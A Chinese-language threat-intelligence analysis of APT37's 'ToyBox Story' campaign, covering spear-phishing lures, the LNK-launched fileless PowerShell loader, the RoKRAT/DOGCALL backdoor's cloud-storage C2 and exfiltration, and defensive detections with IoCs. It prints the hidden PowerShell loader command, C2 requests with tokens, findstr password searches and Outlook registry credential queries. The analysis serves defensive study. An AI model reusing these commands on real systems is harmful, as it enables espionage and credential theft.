鱼叉刺穿国安智库:APT37「ToyBox Story 行动」全链路技术解析

朝鲜国家级黑客组织 APT37 对韩国多名朝鲜问题研究人员发起了一轮精密的鱼叉式网络钓鱼行动,代号「ToyBox Story」。攻击者以真实的国家安全战略学术论坛为诱饵,通过合法云存储服务 Dropbox 分发恶意快捷方式(LNK)文件,部署多阶段无文件后门 RoKRAT(又名 DOGCALL),借助 pCloud、Yandex Disk 和 Dropbox 作为命令与控制(C2)基础设施,并最终以三层加密完成数据外传,构成了一条从钓鱼邮件到情报窃取的完整攻击链。

APT37 攻击流程总览图(Flowchart of the APT37 Attack)

APT37(别名:Reaper Group、Ricochet Chollima、Group 123、TEMP.Reaper)是一个被安全社区广泛认定为受朝鲜国家支持的高级持续威胁组织,据评估隶属于朝鲜侦察总局(Reconnaissance General Bureau)。该组织自 2012 年起持续活跃,核心任务是对韩国政府机构、军事人员、外交官、新闻媒体、脱北者群体及朝鲜问题研究人员实施定向网络间谍活动,攻击目标近年来也延伸至东南亚及其他地区的政府、国防与战略研究机构。

APT37 的四大标志性战术特征:

  • LoTS(Living off Trusted Sites)

    :将 Dropbox、pCloud、Yandex Disk 等合法公有云存储服务用作 C2 基础设施,将恶意通信混入 HTTPS 正常流量,极大规避传统安全设备基于 IP/域名黑名单的检测能力

  • LNK 文件武器化

    :持续迭代利用 Windows 快捷方式文件(.lnk)嵌入 PowerShell 命令,触发多阶段无文件攻击链

  • RoKRAT / DOGCALL 工具集

    :自研后门框架,具备截屏、键盘记录、文件窃取、反虚拟机检测、云 API 外传等能力,核心模块代码长期稳定、更新频率低

  • 精准社会工程

    :基于充分的 OSINT 前侦察,针对目标的职业背景和关注议题高度定制诱饵内容

Case A:伪装成朝鲜士兵赴俄战场相关文章

**2025年3月8日,**攻击者冒充韩国国内知名的朝鲜问题研究专家,向潜在目标发送第一封鱼叉邮件。

  • 邮件主题

    :러시아 전장에 투입된 인민군 장병들에게.hwp(致在俄罗斯战场上的朝鲜人民军士兵.hwp)

  • 社会工程逻辑

    :精准利用彼时国际社会高度关注的「朝鲜士兵赴俄参战」热点议题,对关注朝鲜动向的研究人员、记者及政策分析师具有极强的吸引力

  • 视觉伪装

    :附件图标使用了 Naver Mail(韩国最大邮件服务商)的 HWP 文件标准图标,外观与真实 Hangul 文档几乎无异;但点击「附件」后,实际跳转的是一个 Dropbox 下载链接

  • 实际内容

    :Dropbox 链接指向同名 ZIP 压缩包,解压后仅含一个 .lnk 快捷方式文件(大小:824,819 字节)

Case A 钓鱼邮件截图(邮件正文及附件图标)

Case B:伪装成国家安全战略学术论坛邀请函

**2025年3月11日,**攻击者以一家真实存在的韩国国家安全战略研究机构名义发起第二波攻击,主题对准了一场已公开宣传的学术会议。

  • 诱饵主题

    「川普2.0时代:前景与韩国应对」------攻击者特意借用了这场真实举办的活动,使诱饵内容具备完整的可信度

  • 分发机制

    与 Case A 完全相同 ------ Naver Mail 图标伪装 + Dropbox 链接

  • 实际内容

    ZIP 包中包含两个文件 ------ 一张无害的 JPG 会议海报(用于消除受害者疑虑)和一个恶意 LNK 快捷方式文件(大小:12,145,612 字节)

    Case B 会议邀请邮件截图

两起案例的共同结论:尽管诱饵内容截然不同,两个 LNK 文件最终投递的是完全相同的终极 payload------RoKRAT。社会工程层的精心设计是入场券,真正的技术复杂度体现于 LNK 文件触发的后续攻击链。

3.1 LNK 文件的武器化机制(T1204.002 - 恶意文件)

LNK 文件嵌入命令的内容截图

恶意 LNK 文件整体结构图

3.2 文件释放与扩展名混淆(T1059.001 - PowerShell, T1027 - 混淆文件或信息)

LNK 执行后,PowerShell 命令在受害者的 %TEMP% 目录下悄然释放以下四个文件:

文件名

类型

作用

sharke.bat

批处理脚本(第一阶段加载器)

调用 PowerShell 加载下一级 Loader

elephant.dat

加密 PowerShell 脚本(第二阶段加载器)

包含用于解密 caption.dat 的脚本逻辑

caption.dat

XOR 加密的 DOGCALL payload

RoKRAT 后门的加密本体

诱饵文档

真实 HWP / PDF

展示给受害者以消除疑虑

**关键混淆手法(T1027 - 混淆文件或信息):**sharke.bat 并非直接以 .bat 扩展名写入磁盘。攻击者将扩展名的字符串拆分为单个字符,在运行时通过 + 拼接操作动态重组,以绕过基于文件扩展名的静态检测规则。

作为视觉迷彩的诱饵 HWP 文档内容展示

3.3 三级加载链:从磁盘到内存的无文件跃迁

复制代码


*

复制代码
[受害者双击 LNK] ─→ PowerShell 执行(-windowstyle hidden)                      │                      ├─ 释放 sharke.bat + elephant.dat + caption.dat + 诱饵文档                      │                      ▼                  sharke.bat(第一级 Loader)                      │                      ▼            PowerShell 读取 elephant.dat            以字节流读入 → UTF8 解码 → ScriptBlock::Create() → Invoke-Command                      │                      ▼            elephant.dat 脚本(第二级 Loader)            使用 XOR 密钥解密内存中的 caption.dat                      │                      ▼            VirtualAlloc 分配可执行内存缓冲区            写入解密后的 PE 文件(DOGCALL/RoKRAT)                      │                      ▼            CreateThread → Shellcode 在内存中执行 → C2 上线

整个执行链只有一个设计目标:让最终的恶意可执行代码永远不以文件形式落地磁盘。每一级载荷均以加密数据文件形式存储,由上级 PowerShell 脚本在内存中完成解密与执行,彻底规避依赖文件特征哈希的传统 AV 检测。


PowerShell 命令将数据动态转化为 Shellcode 执行的流程图


塞讯智能安全验证平台 - PINELINK 沙盘执行动作


DOGCALL(又名 RoKRAT)是 APT37 的核心后门工具,通常不以完整 PE 文件形式存在于磁盘,而是经由上级 Loader 解密后直接注入内存执行。Genians 对多次 APT37 行动中的 RoKRAT 样本进行比对分析,发现其核心代码结构长期保持稳定,APT37 主要依靠无文件执行方式而非代码更新来规避检测。

4.1 从 elephant.dat 到内存执行的完整链条(T1059.001 - PowerShell, T1055 - 进程注入)

以下是还原的关键执行序列(验证规则:受保护的沙盘 - Windows,APT-U6264,DOGCALL,执行,变种 #2):

步骤一:将加密载荷移至 TEMP 目录

复制代码


*

复制代码
move "C:\Users\Public\Documents\caption.dat" %TEMP% && move "C:\Users\Public\Documents\elephant.dat" %TEMP%

步骤二:以隐藏窗口启动 32 位 PowerShell,将 elephant.dat 以字节流读入并动态构造 ScriptBlock 执行

复制代码


*

复制代码
start /min C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden `  "$stringPath=$env:temp+'\'+'elephant.dat';   $stringByte = Get-Content -path $stringPath -encoding byte;   $string = [System.Text.Encoding]::UTF8.GetString($stringByte);   $scriptBlock = [scriptblock]::Create($string);   Invoke-Command $scriptBlock;"

通过 ScriptBlock::Create() 动态构造代码块的方式,使 PowerShell 脚本块日志(ScriptBlock Logging)无法直接记录加载的脚本明文内容,这是规避 Windows 安全审计的常见手法。

步骤三(内存执行):elephant.dat 脚本以硬编码 XOR 密钥解密内存中的 caption.dat(DOGCALL 本体),将解密后的 PE 文件注入新分配的可执行内存缓冲区,并通过 CreateThread 触发执行------全程零磁盘痕迹。

步骤四(验证 C2 回连):通过以下命令确认 DOGCALL 是否成功上线

复制代码


*

复制代码
Ipconfig /displaydns

成功标志为 DNS 缓存中出现 api.pcloud.comcloud-api.yandex.net,证明 DOGCALL 已与 C2 服务器建立连接。


Shellcode 中以 XOR 逻辑解密 PE 文件的代码截图



RoKRAT 主函数(WinMain)代码结构及其系统信息收集例程


塞讯智能安全验证平台 - DOGCALL 沙盘执行动作

4.2 DOGCALL 的核心间谍能力(T1055 - 进程注入, T1027 - 混淆文件或信息)

DOGCALL 一旦在内存激活,即开始执行以 switch-case 指令结构驱动的间谍任务:

能力

技术细节

实时截屏

截取屏幕保存为 JPEG,存至 %TEMP%,文件名为 %s%04X%04X.tmp 格式的8字符十六进制随机串

键盘记录

实时捕获击键内容并暂存,待 C2 通信时批量上传

反虚拟机检测

主函数在执行核心例程前检测沙箱 / 虚拟机特征,若判定为分析环境则即时终止

接收动态指令

通过云 API 轮询接收攻击者命令,可执行任意 cmd.exe 命令、下载并执行新 payload、删除攻击痕迹等

进程注入变种

在验证规则【受保护的沙盘 - APT37,DOGCALL,VBA 自解码规避和进程注入,执行】还原的变种中,DOGCALL 通过 VBA 自解码后将 Shellcode 注入 notepad.exe 进程,同样实现零文件持久化


5.1 为什么选云盘做 C2?

传统自建 C2 基础设施(VPS + 自定义域名)面临被威胁情报平台快速标记、防火墙封锁的风险,攻击者的 C2 基础设施往往在数小时内即遭识别和封禁。

APT37 长期采用的LoTS(Living off Trusted Sites) 策略,其核心逻辑是:将恶意通信裹挟在大量合法平台的 HTTPS 流量中,使基于 IP / 域名黑名单的传统安全设备无从拦截------没有组织会直接封锁 Dropbox 或 Yandex。

本次行动中,DOGCALL 同时支持三个 C2 后端,演变路径反映了 APT37 的持续工程化投入:

复制代码


*

复制代码
历史路径:pCloud → Yandex Disk → OneDrive / Google DriveToyBox Story 新增:Dropbox

5.2 三个 C2 后端的通信行为详解

① 初始签到 --- pCloud**(** 验证规则:命令与控制 - APT-U6264,DOGCALL,签到,变种 #1**)**

DOGCALL 上线后,首先通过 pCloud API 的 listfolder 请求确认 C2 连通性。

复制代码


*

复制代码
GET /listfolder?path=/ HTTP/1.1Host: api.pcloud.comAuthorization: Bearer JINs7ZDb7OvfloXrYZt8wH7kZ7LjAjGKBckj4kTgWSBiDSVWF1fKXUser-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

注意 User-Agent 字段:DOGCALL 将自身伪装成 Google 爬虫机器人发起请求,进一步降低网络安全设备对该流量的可疑度评分。

② 命令轮询 --- Yandex Disk**(验证规则:命令与控制 - APT-U6264,DOGCALL,命令轮询,变种 #1)**

DOGCALL 持续以固定时间间隔轮询 Yandex Disk 根目录内容,通过检查是否存在特定命名的文件来"取件"攻击者指令:

复制代码
复制代码
GET /v1/disk/resources?path=/&limit=500 HTTP/1.1Host: cloud-api.yandex.netAuthorization: OAuth y0_AgAAAABqpA5t...User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

当攻击者需要下发命令时,只需将特定内容的文件上传到 Yandex Disk 指定路径;DOGCALL 通过 limit=500 的目录列表请求定期「轮询收件」,整个命令信道的网络特征与普通用户的 Yandex 云存储访问完全一致。

③ 数据回传 --- Yandex Disk 两步上传**(验证规则:命令与控制 - APT-U6264,DOGCALL,数据泄露,变种 #1)**

数据外传前,DOGCALL 先请求一个一次性上传地址:

复制代码
GET /v1/disk/resources/upload?path=/Comment/6DAF24DF1F4AD773&overwrite=trueHost: cloud-api.yandex.net

随后向返回的临时 URL 发起 PUT 请求,将加密数据包投递至攻击者专属目录。


Dropbox Access Token 硬编码于 DOGCALL 样本中的反汇编截图


APT37 多次攻击行动之间的基础设施关联关系图


塞讯智能安全验证平台 - DOGCALL Yandex Disk 命令轮询

5.3 溯源线索:伪装在合法平台背后的攻击者

Genians 对 DOGCALL 样本中硬编码的 Dropbox Access Token 进行深度追踪,所有 Token 的注册邮箱均为俄罗斯 Yandex 邮件账户(如 rolf.gehrung@yandex.com)。基于账户用户名进行 LinkedIn 搜索,返回了部分与用户名匹配的公开社交档案,但研究人员注意到这些身份可能涉及盗用或冒充,调查仍在持续。此外,攻击者的网络通信均通过 NordVPN 或 AstrillVPN 进行流量源混淆,后者在 Google 的朝鲜 IT Worker 威胁情报报告中也曾被提及。



DOGCALL 上线后,攻击者并不急于大规模横向移动,而是首先对目标环境进行系统化侦察,同时针对性地窃取高价值凭证。

6.1 系统信息收集(T1614 - 系统位置发现, T1082 - 系统信息发现)

语言与地区侦察(验证规则:主机命令行 - Windows,收集详细的系统位置和语言信息 --- T1614 - 系统位置发现)DOGCALL 查询注册表键HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language,并调用多个 Windows 原生 API(GetLocaleInfoW、GetUserDefaultUILanguage、GetSystemDefaultUILanguage、GetKeyboardLayoutList 等)获取系统语言与地区设置。

这一行为有明确的战略意图:APT37 会根据受害者的语言环境决定是否继续攻击。若检测到朝鲜语或英语(分析/蜜罐环境的典型特征),DOGCALL 会直接终止运行,既保护了样本不被分析,也避免了攻击资源的无效消耗。

时间信息收集(验证规则:主机命令行 - 获取系统当前日期--- T1082 - 系统信息发现)

通过 PowerShell 获取当前系统时间,将其以 dd-MM-yyyy_sectest.txt 格式写入临时文件,随后以 Remove-Item -Recurse -Force 清除所有痕迹:

复制代码
powershell.exe -c "New-Item -ItemType File -Force -Path 'C:\Users\Public\...'

-Name ((Get-Date).ToString('dd-MM-yyyy') + '_sectest.txt')"

CPU 硬件信息**(验证规则:主机命令行 - Windows,通过 WMIC 获取 CPU 信息 --- T1082 - 系统信息发现)**

通过 WMIC 查询 CPU 型号、核心数、最大主频等硬件特征,用于环境识别与反沙箱判断:

复制代码
wmic cpu get caption, deviceid, name, numberofcores, maxclockspeed, status

6.2 凭证窃取(T1552.001 - 文件中的凭据, T1552.002 - 注册表中的凭据, T1119 - 自动收集)

文件系统明文凭据扫描**(** 验证规则:主机命令行 - 明文敏感数据发现 --- T1552.001 - 文件中的凭据; T1083 - 文件和目录发现**)**

使用 findstr 命令递归搜索磁盘文件中的敏感关键词,寻找以明文保存的密码、密钥或配置信息:

复制代码
findstr /s /d:C:\Users\Public\Documents /m juicypassword *

在实际攻击场景中,攻击者会搜索更广泛的关键词范围(password、secret、api_key、token 等),覆盖配置文件、脚本、日志及代码仓库,往往能直接命中开发机器或运维工作站上以明文保存的内部系统凭证。

Outlook 注册表凭据窃取**(** 验证规则:主机命令行 - URSNIF,从 Microsoft Outlook 注册表项中收集数据 --- T1552.002 - 注册表中的凭据; T1119 - 自动收集**)**

遍历 Microsoft Office 11.0 至 16.0 全版本的 Outlook 配置注册表项,提取邮件账户凭据:

复制代码
reg query "HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook"reg query "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook"

对于以政府机构、研究机构或企业高管为目标的攻击场景,Outlook 账户凭据的价值极高------不仅可用于持续监控通信内容,还可被用作进一步鱼叉攻击的跳板,发起高可信度的商业邮件欺诈(BEC)。


DOGCALL 将收集到的所有情报数据(系统信息、截图、进程列表、击键记录、凭证)打包后,经过三层加密处理再上传至攻击者控制的云存储账户。

加密流程(由内向外)


固定 4 字节魔术头(0xFA 0xDE 0xAD 0xBA)硬编码于 RoKRAT 中的截图


使用 PRNG 随机密钥的 XOR 加密例程截图


AES-CBC-128 加密例程-截图

复制代码
原始数据(系统信息 + 截图 + 凭证等)    │    ▼  [第一层]附加固定 4 字节魔术头:0xFA 0xDE 0xAD 0xBA  → 作用:标识数据格式,同时使攻击者可用已知明文辅助解密    │    ▼  [第二层]XOR 随机混淆:使用 PRNG 生成的随机 4 字节密钥进行 XOR 运算  → 由于固定头已知,攻击者可快速还原 XOR 密钥并反向解密    │    ▼  [第三层]AES-CBC-128 强加密  → AES 密钥本身再经 RSA 加密,并前缀于加密数据头部    │    ▼HTTP PUT 请求 → Yandex Disk 唯一一次性路径(HTTPS / 443)

最终的上传流量(塞讯智能安全验证平台验证规则:命令与控制 - APT-U6264,DOGCALL,数据泄露,变种 #1)携带 Authorization: OAuth 头及 Googlebot User-Agent,全程通过 HTTPS 443 端口传输。在网络层,这与任何正常用户使用 Yandex 网盘上传文件的行为特征完全一致,仅在 API 路径(/Comment/)和请求频率上存在异常特征。


邮件网关层

  • 阻断 LNK-in-ZIP

    :对压缩包附件(.zip/.rar/.7z)内部包含 .lnk 文件的邮件执行自动拦截或强制隔离审查,这是本次攻击链的唯一入场门

  • 云链接附件检测

    :识别正文中以 Naver Mail 或主流邮件客户端图标伪装、实际指向 Dropbox / Google Drive / pCloud 外链的附件样式

端点防护层(EDR 优先)

检测场景

关键行为特征

MITRE 技术

LNK 触发隐藏 PowerShell

explorer.exe → powershell.exe -windowstyle hidden

T1059.001 - PowerShell

多级 .dat 加载链

PowerShell 读取 .dat 文件 + ScriptBlock::Create() + Invoke-Command

T1027 - 混淆文件或信息

内存分配后注入执行

VirtualAllocEx + WriteProcessMemory + CreateRemoteThread 三连调用

T1055 - 进程注入

注册表 Outlook 遍历

reg query + HKCU\Software\Microsoft\Office 路径

T1552.002 - 注册表中的凭据

批量文件内容搜索

findstr /s 递归扫描后无明确合法父进程

T1083 - 文件和目录发现

**关键结论:**无文件攻击的检测必须依赖内存行为分析而非文件特征,基于文件哈希的 AV 对本次攻击链在「文件执行」阶段以后几乎完全失效。EDR 日志中的进程树分析和内存写入异常告警是检测该攻击的核心手段。

网络层

  • **LoTS 盲区提示:**仅凭连接目标域名(如 cloud-api.yandex.net)无法判断访问是否恶意,需结合 API 请求路径进行上下文分析

  • 高风险路径示例:/listfolder(pCloud)、/v1/disk/resources(Yandex)出现在非服务器类端点

  • 异常 User-Agent:终端设备发出 Googlebot User-Agent 请求应立即触发调查

  • DNS****异常监控api.pcloud.comcloud-api.yandex.net 在企业网络中无合法业务需求时出现,应纳入高风险 DNS 解析告警列表

威胁狩猎建议(Threat Hunting)

结合以下 IOC 与行为特征在历史日志中回溯检查,判断组织是否已遭受此类攻击的静默渗透:

  • 查找 %TEMP% 目录下同时存在 .dat 和 .bat 文件的时间段

  • 在 DNS 日志中搜索 api.pcloud.comcloud-api.yandex.net 的解析记录

  • 在进程创建日志中搜索 SysWow64\WindowsPowerShell 路径启动 PowerShell 的记录(攻击者刻意使用32位版本)


附录:失陷指标(IoC)

文件哈希(MD5)

复制代码
81c08366ea7fc0f933f368b120104384723f80d1843315717bc56e9e58e89be57822e53536c1cf86c3e44e31e77bd088324688238c42d7190a2b50303cbc6a3ca635bd019674b25038cd8f02e15eebd2beeaca6a34fb05e73a6d8b7d2b8c2ee3d5d48f044ff16ef6a4d5bde060ed5ceed77c8449f1efc4bfb9ebff496442bbbc2f431c4e65af9908d2182c6a093bf2627cc8ce5374ff9eacd38491b75cbedf898f339a09f0d0202cfaffbd38469490ec46ca088d5c052738d42bbd6231cc0ed5

C2 IP 地址

复制代码
89.147.101[.]6589.147.101[.]7137.120.210[.]2

攻击者关联邮箱

复制代码
rolf.gehrung@yandex.comekta.sahasi@yandex.comgursimran.bindra@yandex.comsneha.geethakrishnan@yandex.comtanessha.samuel@gmail.comtianling0315@gmail.comw.sarah0808@gmail.comsoftpower21cs@gmail.comsandozmessi@gmail.comtiger.man.1999@mail.runavermail_noreply@mail.ru


本文涉及的所有 IoC 及攻击者关联信息来源于 Genians Security Center 公开发布的威胁情报报告。其中 IP 地址已添加 [.] 中断符以防止误触发,攻击者邮件地址仅供情报参考,不应用于任何主动联络。